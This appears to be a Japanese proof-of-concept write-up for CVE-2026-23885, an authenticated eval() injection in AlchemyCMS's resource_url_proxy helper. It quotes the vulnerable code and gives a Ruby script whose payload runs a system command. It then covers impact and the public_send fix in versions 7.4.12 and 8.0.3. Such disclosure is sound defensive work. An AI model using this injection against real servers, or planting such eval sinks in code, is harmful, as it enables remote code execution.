
CVE-2026-23885の概念実証エクスプロイト。AlchemyCMSにおけるeval()インジェクションを介した認証済みRCEであり、技術的分析と修復ガイダンスを含む。
AlchemyCMSフレームワークにおいて、動的評価コードにおけるディレクティブの不適切な無害化(CWE-95) に関わる重大なセキュリティ脆弱性が発見されました。この脆弱性により、管理者権限を持つ認証済みユーザーが、eval() インジェクションシンクを介して、ホストサーバー上で任意のRubyコードおよびシステムコマンドを実行できる可能性があります。
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyこのヘルパーメソッドは、resource_handler オブジェクトの engine_name 属性を安全でない方法で処理します。この属性は、事前のサニタイズや検証なしに、Rubyの 関数に直接渡されます。
eval()def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
# rubocop:disable Security/Eval ディレクティブの存在は、eval() の使用に伴うセキュリティ上の影響が認識されていたものの、実装時に回避されたことを裏付けています。
この脆弱性は、リソースベースのビュー(例: Sites や Languages)をレンダリングする際に、AlchemyCMSの管理インターフェース内で発動します。攻撃者がモジュール設定または基盤となるリソースデータを操作できる場合、コード実行を達成できます。
以下のスクリプトは、脆弱なヘルパー環境をシミュレートすることで、任意のコード実行を実証します。
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# ペイロード: システムの 'id' コマンドを実行し、証拠ファイルを作成
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
実行時、システムコマンドが処理され、攻撃者にサーバー環境へのアクセスを許可します。
<img src="https://assets.kitploit.com/production/public/readmes/51835/35f164da4eceecf2d265c28ca0f65f0ea41ac77f50b63e61869f6566c6f62ccf/3e25178aacaaddc49f4cc09c5e7adad59bfb6fe9b724d0e63a2d44ee16af6cc2-display-v1.webp" width="1200px" alt="RCEターミナル証拠">
## 4. 影響と深刻度
- **機密性:** 高。アプリケーションデータおよび環境シークレットへの完全なアクセス。
- **完全性:** 高。ファイルおよびデータベースレコードを変更する能力。
- **可用性:** 高。システム全体の破壊の可能性。
- **CVE ID:** CVE-2026-23885
## 5. 修復策
この脆弱性は、以下のパッチ適用済みバージョンで対処されています。
- **7.4.12**
- **8.0.3**
この修正には、`eval()` 呼び出しを `public_send()` に置き換え、リクエストを意図したエンジンプロキシに安全にルーティングすることが含まれます。
Ruby
```ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
CVE参照: CVE-2026-23885